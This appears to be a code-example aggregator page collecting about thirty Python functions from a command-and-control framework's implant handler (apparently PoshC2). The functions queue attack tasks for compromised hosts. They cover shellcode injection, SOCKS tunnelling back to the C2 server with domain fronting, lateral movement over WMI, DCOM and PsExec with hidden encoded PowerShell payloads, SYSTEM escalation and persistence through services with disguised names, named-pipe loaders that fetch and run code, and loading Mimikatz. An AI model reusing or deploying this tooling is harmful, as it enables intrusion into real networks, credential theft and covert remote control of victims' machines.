Esempio n. 1
0
def do_sharpsocks(user, command, randomuri):
    from random import choice
    allchar = string.ascii_letters
    channel = "".join(choice(allchar) for x in range(25))
    sharpkey = gen_key().decode("utf-8")
    sharpurls = get_sharpurls()
    sharpurls = sharpurls.split(",")
    sharpurl = select_item("PayloadCommsHost", "C2Server")
    print(
        PoshInstallDirectory +
        "resources/SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n"
        % (channel, sharpkey, SocksHost) + Colours.GREEN)
    ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
    if ri.lower() == "n":
        print("")
    if ri == "":
        new_task(
            "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken"
            % (sharpurl, channel, sharpkey, sharpurls[0].replace(
                "\"", ""), sharpurls[1].replace("\"", "")), user, randomuri)
    if ri.lower() == "y":
        new_task(
            "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken"
            % (sharpurl, channel, sharpkey, sharpurls[0].replace(
                "\"", ""), sharpurls[1].replace("\"", "")), user, randomuri)
Esempio n. 2
0
def do_sharpsocks(user, command, randomuri):
    check_module_loaded("SharpSocks.ps1", randomuri, user)
    import string
    from random import choice
    allchar = string.ascii_letters
    channel = "".join(choice(allchar) for x in range(25))
    sharpkey = gen_key().decode("utf-8")
    sharpurls = get_sharpurls()
    sharpurl = select_item("PayloadCommsHost", "C2Server")
    sharpport = select_item("PayloadCommsPort", "C2Server")
    dfheader = select_item("DomainFrontHeader", "C2Server")
    implant = get_implantdetails(randomuri)
    pivot = implant[15]
    if pivot != "PS":
        sharpurl = input("Enter the URL for SharpSocks: ")
    if (sharpport != 80 and sharpport != 443):
        if (sharpurl.count("/") >= 3):
            pat = re.compile(r"(?<!/)/(?!/)")
            sharpurl = pat.sub(":%s/" % sharpport, str, 1)
        else:
            sharpurl = ("%s:%s" % (sharpurl, sharpport))

    print(PoshInstallDirectory + "resources/SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN)
    ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
    if ri.lower() == "n":
        print("")
    if (ri == "") or (ri.lower() == "y"):
        taskcmd = "Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 1000" % (sharpurl, channel, sharpkey, sharpurls)
        if dfheader:
            taskcmd += " -DomainFrontURL %s" % dfheader
        new_task(taskcmd, user, randomuri)
        update_label("SharpSocks", randomuri)
Esempio n. 3
0
def do_migrate(user, command, randomuri):
    params = re.compile("migrate", re.IGNORECASE)
    params = params.sub("", command)
    implant = get_implantdetails(randomuri)
    implant_arch = implant[10]
    implant_comms = implant[15]
    if implant_arch == "AMD64":
        arch = "64"
    else:
        arch = "86"
    if implant_comms == "PS":
        path = "%spayloads/Posh_v4_x%s_Shellcode.bin" % (PoshProjectDirectory,
                                                         arch)
        shellcodefile = load_file(path)
    elif "Daisy" in implant_comms:
        daisyname = input("Name required: ")
        path = "%spayloads/%sPosh_v4_x%s_Shellcode.bin" % (
            PoshProjectDirectory, daisyname, arch)
        shellcodefile = load_file(path)
    elif "Proxy" in implant_comms:
        path = "%spayloads/ProxyPosh_v4_x%s_Shellcode.bin" % (
            PoshProjectDirectory, arch)
        shellcodefile = load_file(path)
    check_module_loaded("Inject-Shellcode.ps1", randomuri, user)
    new_task(
        "$Shellcode%s=\"%s\" #%s" %
        (arch, base64.b64encode(shellcodefile).decode("utf-8"),
         os.path.basename(path)), user, randomuri)
    new_task(
        "Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s"
        % (arch, params), user, randomuri)
Esempio n. 4
0
def do_invoke_wmijsbindpayload(user, command, randomuri):
    check_module_loaded("New-JScriptShell.ps1", randomuri, user)
    with open("%s%sDotNet2JS_PBind.b64" % (PayloadsDirectory, ""), "r") as p:
        payload = p.read()
    params = re.compile("invoke-wmijspbindpayload ", re.IGNORECASE)
    params = params.sub("", command)
    new_task(
        "$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS_PBind.b64" %
                                     (PayloadsDirectory, "")), user, randomuri)
    cmd = "new-jscriptshell %s -payload $Shellcode64" % (params)
    new_task(cmd, user, randomuri)
    target = re.search("(?<=-target )\\S*", str(cmd), re.IGNORECASE)
    C2 = get_c2server_all()
    print()
    print("To connect to the SMB named pipe use the following command:")
    print(
        Colours.GREEN +
        "invoke-pbind -target %s -secret mtkn4 -key %s -pname jaccdpqnvbrrxlaf -client"
        % (target[0], C2[2]) + Colours.END)
    print()
    print("To issue commands to the SMB named pipe use the following command:")
    print(Colours.GREEN + "pbind-command \"pwd\"" + Colours.END)
    print()
    print("To load modules to the SMB named pipe use the following command:")
    print(Colours.GREEN + "pbind-loadmodule Invoke-Mimikatz.ps1" + Colours.END)
    print()
    print("To kill the SMB named pipe use the following command:")
    print(Colours.GREEN + "pbind-kill" + Colours.END)
Esempio n. 5
0
def do_migrate(user, command, randomuri):
    params = re.compile("migrate", re.IGNORECASE)
    params = params.sub("", command)
    implant = get_implantdetails(randomuri)
    implant_arch = implant[10]
    implant_comms = implant[15]
    if implant_arch == "AMD64":
        arch = "64"
    else:
        arch = "86"
    if implant_comms == "C#":
        path = "%sSharp_v4_x%s_Shellcode.bin" % (PayloadsDirectory, arch)
        shellcodefile = load_file(path)
    elif "Daisy" in implant_comms:
        daisyname = input("Name required: ")
        path = "%s%sSharp_v4_x%s_Shellcode.bin" % (PayloadsDirectory,
                                                   daisyname, arch)
        shellcodefile = load_file(path)
    elif "Proxy" in implant_comms:
        path = "%sProxySharp_v4_x%s_Shellcode.bin" % (PayloadsDirectory, arch)
        shellcodefile = load_file(path)
    new_task(
        "run-exe Core.Program Core Inject-Shellcode %s%s #%s" %
        (base64.b64encode(shellcodefile).decode("utf-8"), params,
         os.path.basename(path)), user, randomuri)
Esempio n. 6
0
def do_inject_shellcode(user, command, randomuri):
    params = re.compile("inject-shellcode", re.IGNORECASE)
    params = params.sub("", command)
    check_module_loaded("Inject-Shellcode.ps1", randomuri, user)
    style = Style.from_dict({
        '': '#80d130',
    })
    session = PromptSession(history=FileHistory('%s/.shellcode-history' %
                                                PoshProjectDirectory),
                            auto_suggest=AutoSuggestFromHistory(),
                            style=style)
    try:
        path = session.prompt("Location of shellcode file: ",
                              completer=FilePathCompleter(PayloadsDirectory,
                                                          glob="*.bin"))
        path = PayloadsDirectory + path
    except KeyboardInterrupt:
        return
    try:
        shellcodefile = load_file(path)
        if shellcodefile is not None:
            arch = "64"
            new_task(
                "$Shellcode%s=\"%s\" #%s" %
                (arch, base64.b64encode(shellcodefile).decode("utf-8"),
                 os.path.basename(path)), user, randomuri)
            new_task(
                "Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s"
                % (arch, params), user, randomuri)
    except Exception as e:
        print_bad("Error loading file: %s" % e)
Esempio n. 7
0
def do_linuxprivchecker(user, command, randomuri):
    params = re.compile("linuxprivchecker", re.IGNORECASE)
    params = params.sub("", command)
    module = open("%slinuxprivchecker.py" % ModulesDirectory, 'rb').read()
    encoded_module = base64.b64encode(module).decode("utf-8")
    taskcmd = "linuxprivchecker -pycode %s %s" % (encoded_module, params)
    new_task(taskcmd, user, randomuri)
Esempio n. 8
0
def do_upload_file(user, command, randomuri):
    source = ""
    destination = ""
    s = ""
    if command == "upload-file":
        style = Style.from_dict({
            '': '#80d130',
        })
        session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style)
        try:
            source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*"))
            source = PayloadsDirectory + source
        except KeyboardInterrupt:
            return
        while not os.path.isfile(source):
            print("File does not exist: %s" % source)
            source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*"))
            source = PayloadsDirectory + source
        destination = session.prompt("Location to upload to: ")
    else:
        args = argp(command)
        source = args.source
        destination = args.destination
    try:
        
        destination = destination.replace("\\", "\\\\")
        print("")
        print("Uploading %s to %s" % (source, destination))
        uploadcommand = f"upload-file {source} {destination}"
        new_task(uploadcommand, user, randomuri)
    except Exception as e:
        print("Error with source file: %s" % e)
        traceback.print_exc()
Esempio n. 9
0
def do_inject_shellcode(user, command, randomuri):
    params = re.compile("inject-shellcode", re.IGNORECASE)
    params = params.sub("", command)
    style = Style.from_dict({
        '': '#80d130',
    })
    session = PromptSession(history=FileHistory('%s/.shellcode-history' %
                                                PoshProjectDirectory),
                            auto_suggest=AutoSuggestFromHistory(),
                            style=style)
    try:
        path = session.prompt("Location of shellcode file: ",
                              completer=FilePathCompleter(PayloadsDirectory,
                                                          glob="*.bin"))
        path = PayloadsDirectory + path
    except KeyboardInterrupt:
        return
    try:
        shellcodefile = load_file(path)
        if shellcodefile is not None:
            new_task(
                "run-exe Core.Program Core Inject-Shellcode %s%s #%s" %
                (base64.b64encode(shellcodefile).decode("utf-8"), params,
                 os.path.basename(path)), user, randomuri)
    except Exception as e:
        print("Error loading file: %s" % e)
Esempio n. 10
0
def do_invoke_runaspayload(user, command, randomuri):
    check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
    check_module_loaded("NamedPipe.ps1", randomuri, user)
    params = re.compile("invoke-runaspayload ", re.IGNORECASE)
    params = params.sub("", command)
    pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMS'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
    pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8"))
    new_task(pscommand, user, randomuri)
Esempio n. 11
0
def do_install_servicelevel_persistencewith(user, command, randomuri):
    C2 = get_c2server_all()
    newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
                            "", "", "", "", C2[19], C2[20],
                            C2[21], get_newimplanturl(), PayloadsDirectory)
    payload = newPayload.CreateRawBase()
    cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (payload)
    new_task(cmd, user, randomuri)
Esempio n. 12
0
def do_invoke_wmijspayload(user, command, randomuri):
    check_module_loaded("New-JScriptShell.ps1", randomuri, user)
    with open("%s%sDotNet2JS.b64" % (PayloadsDirectory, ""), "r") as p:
        payload = p.read()
    params = re.compile("invoke-wmijspayload ", re.IGNORECASE)
    params = params.sub("", command)
    new_task("$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS.b64" % (PayloadsDirectory, "")), user, randomuri)
    cmd = "new-jscriptshell %s -payload $Shellcode64" % (params)
    new_task(cmd, user, randomuri)
Esempio n. 13
0
def do_beacon(user, command, randomuri):
    new_sleep = command.replace('set-beacon ', '')
    new_sleep = new_sleep.replace('setbeacon ', '')
    new_sleep = new_sleep.replace('beacon ', '').strip()
    if not validate_sleep_time(new_sleep):
        print_bad("Invalid sleep command, please specify a time such as 50s, 10m or 1h")
    else:
        new_task(command, user, randomuri)
        update_sleep(new_sleep, randomuri)
Esempio n. 14
0
def do_invoke_dcompayload(user, command, randomuri):
    C2 = get_c2server_all()
    newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
                            "", "", "", "", C2[19], C2[20],
                            C2[21], get_newimplanturl(), PayloadsDirectory)
    payload = newPayload.CreateRawBase()
    p = re.compile(r'(?<=-target.).*')
    target = re.search(p, command).group()
    pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target, payload)
    new_task(pscommand, user, randomuri)
Esempio n. 15
0
def do_kill_implant(user, command, randomuri):
    impid = get_implantdetails(randomuri)
    ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid[0])
    if ri.lower() == "n":
        print("Implant not terminated")
    if ri == "":
        new_task("exit", user, randomuri)
        kill_implant(randomuri)
    if ri.lower() == "y":
        new_task("exit", user, randomuri)
        kill_implant(randomuri)
Esempio n. 16
0
def do_invoke_wmipayload(user, command, randomuri):
    check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
    C2 = get_c2server_all()
    newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
                            "", "", "", "", C2[19], C2[20],
                            C2[21], get_newimplanturl(), PayloadsDirectory)
    payload = newPayload.CreateRawBase()
    params = re.compile("invoke-wmipayload ", re.IGNORECASE)
    params = params.sub("", command)
    cmd = "invoke-wmiexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params, payload)
    new_task(cmd, user, randomuri)
Esempio n. 17
0
def do_invoke_dcomdaisypayload(user, command, randomuri):
    daisyname = input("Name required: ")
    if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
        with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p:
            payload = p.read()
        p = re.compile(r'(?<=-target.).*')
        target = re.search(p, command).group()
        pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target, payload)
        new_task(pscommand, user, randomuri)
    else:
        print_bad("Need to run createdaisypayload first")
        return
Esempio n. 18
0
def do_invoke_wmiproxypayload(user, command, randomuri):
    check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
    if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))):
        with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"), "r") as p:
            payload = p.read()
        params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE)
        params = params.sub("", command)
        cmd = "invoke-wmiexec %s -command \"%s\"" % (params, payload)
        new_task(cmd, user, randomuri)
    else:
        print_bad("Need to run createproxypayload first")
        return
Esempio n. 19
0
def do_invoke_psexecdaisypayload(user, command, randomuri):
    check_module_loaded("Invoke-PsExec.ps1", randomuri, user)
    daisyname = input("Payload name required: ")
    if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
        with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p:
            payload = p.read()
        params = re.compile("invoke-psexecdaisypayload ", re.IGNORECASE)
        params = params.sub("", command)
        cmd = "invoke-psexec %s -command \"%s\"" % (params, payload)
        new_task(cmd, user, randomuri)
    else:
        print_bad("Need to run createdaisypayload first")
        return
Esempio n. 20
0
def do_invoke_wmijsproxypayload(user, command, randomuri):
    check_module_loaded("New-JScriptShell.ps1", randomuri, user)
    if os.path.isfile(("%s%sDotNet2JS.b64" % (PayloadsDirectory, "Proxy"))):
        with open("%s%sDotNet2JS.b64" % (PayloadsDirectory, "Proxy"), "r") as p:
            payload = p.read()
        params = re.compile("invoke-wmijsproxypayload ", re.IGNORECASE)
        params = params.sub("", command)
        new_task("$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS.b64" % (PayloadsDirectory, "Proxy")), user, randomuri)
        cmd = "new-jscriptshell %s -payload $Shellcode64" % (params)
        new_task(cmd, user, randomuri)
    else:
        print_bad("Need to run createproxypayload first")
        return
Esempio n. 21
0
def do_invoke_dcomproxypayload(user, command, randomuri):
    if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))):
        with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"), "r") as p:
            payload = p.read()
        params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE)
        params = params.sub("", command)
        p = re.compile(r'(?<=-target.).*')
        target = re.search(p, command).group()
        pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c %s\",\"7\")" % (target, payload)
        new_task(pscommand, user, randomuri)
    else:
        print_bad("Need to run createproxypayload first")
        return
Esempio n. 22
0
def do_invoke_runasdaisypayload(user, command, randomuri):
    daisyname = input("Name required: ")
    if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
        with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p:
            payload = p.read()
        new_task("$proxypayload = \"%s\"" % payload, user, randomuri)
        check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
        check_module_loaded("NamedPipeDaisy.ps1", randomuri, user)
        params = re.compile("invoke-runasdaisypayload ", re.IGNORECASE)
        params = params.sub("", command)
        pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSDaisy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
        pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8"))
        new_task(pscommand, user, randomuri)
    else:
        print("Need to run createdaisypayload first")
        return
Esempio n. 23
0
def do_invoke_runasproxypayload(user, command, randomuri):
    C2 = get_c2server_all()
    if C2[11] == "":
        print_bad("Need to run createproxypayload first")
        return
    else:
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
                                C2[13], C2[11], "", "", C2[19], C2[20],
                                C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory)
        payload = newPayload.CreateRawBase()
        proxyvar = "$proxypayload = \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % payload
        new_task(proxyvar, user, randomuri)
        check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
        check_module_loaded("NamedPipeProxy.ps1", randomuri, user)
        params = re.compile("invoke-runasproxypayload ", re.IGNORECASE)
        params = params.sub("", command)

        pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSProxy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
        pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8"))
        new_task(pscommand, user, randomuri)
Esempio n. 24
0
def do_get_system_withdaisy(user, command, randomuri):
    daisyname = input("Payload name required: ")
    if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
        with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p:
            payload = p.read()
        cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c %s' Displayname= CheckpointServiceModule start= auto" % payload
        new_task(cmd, user, randomuri)
        cmd = "sc.exe start CPUpdaterMisc"
        new_task(cmd, user, randomuri)
        cmd = "sc.exe delete CPUpdaterMisc"
        new_task(cmd, user, randomuri)
Esempio n. 25
0
 def autoruns(self):
     if "C#" in self.Pivot:
         new_task("loadmodule Stage2-Core.exe", "autoruns", self.RandomURI)
         update_mods("Stage2-Core.exe", self.RandomURI)
     if "PS" in self.Pivot:
         new_task("loadmodule Stage2-Core.ps1", "autoruns", self.RandomURI)
         update_mods("Stage2-Core.ps1", self.RandomURI)
     result = get_autoruns()
     if result:
         for autorun in result:
             run_autoloads(autorun[1], self.RandomURI, "autoruns")
             new_task(autorun[1], "autoruns", self.RandomURI)
Esempio n. 26
0
def do_get_system(user, command, randomuri):
    C2 = get_c2server_all()
    newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "",
                          "", "", "", C2[19], C2[20], C2[21],
                          get_newimplanturl(), PayloadsDirectory)
    payload = newPayload.CreateRawBase()
    cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload
    new_task(cmd, user, randomuri)
    cmd = "sc.exe start CPUpdaterMisc"
    new_task(cmd, user, randomuri)
    cmd = "sc.exe delete CPUpdaterMisc"
    new_task(cmd, user, randomuri)
Esempio n. 27
0
def do_get_system_withproxy(user, command, randomuri):
    C2 = get_c2server_all()
    if C2[11] == "":
        print_bad("Need to run createproxypayload first")
        return
    else:
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
                              C2[13], C2[11], "", "", C2[19], C2[20], C2[21],
                              "%s?p" % get_newimplanturl(), PayloadsDirectory)
        payload = newPayload.CreateRawBase()
        cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload
        new_task(cmd, user, randomuri)
        cmd = "sc.exe start CPUpdaterMisc"
        new_task(cmd, user, randomuri)
        cmd = "sc.exe delete CPUpdaterMisc"
        new_task(cmd, user, randomuri)
Esempio n. 28
0
def check_module_loaded(module_name, randomuri, user, force=False):
    try:
        modules_loaded = select_mods(randomuri)
        if force:
            for modname in os.listdir(ModulesDirectory):
                if modname.lower() in module_name.lower():
                    module_name = modname
            new_task(("loadmodule %s" % module_name), user, randomuri)
            update_mods(module_name, randomuri)
        if modules_loaded:
            new_modules_loaded = "%s %s" % (modules_loaded, module_name)
            if module_name not in modules_loaded:
                for modname in os.listdir(ModulesDirectory):
                    if modname.lower() in module_name.lower():
                        module_name = modname
                new_task(("loadmodule %s" % module_name), user, randomuri)
                update_mods(new_modules_loaded, randomuri)
        else:
            new_modules_loaded = "%s" % (module_name)
            new_task(("loadmodule %s" % module_name), user, randomuri)
            update_mods(new_modules_loaded, randomuri)
    except Exception as e:
        print("Error loadmodule: %s" % e)
Esempio n. 29
0
def do_shell(user, command, randomuri):
    new_task(command, user, randomuri)
Esempio n. 30
0
def do_modulesloaded(user, command, randomuri):
    implant_details = get_implantdetails(randomuri)
    print(implant_details[14])
    new_task("listmodules", user, randomuri)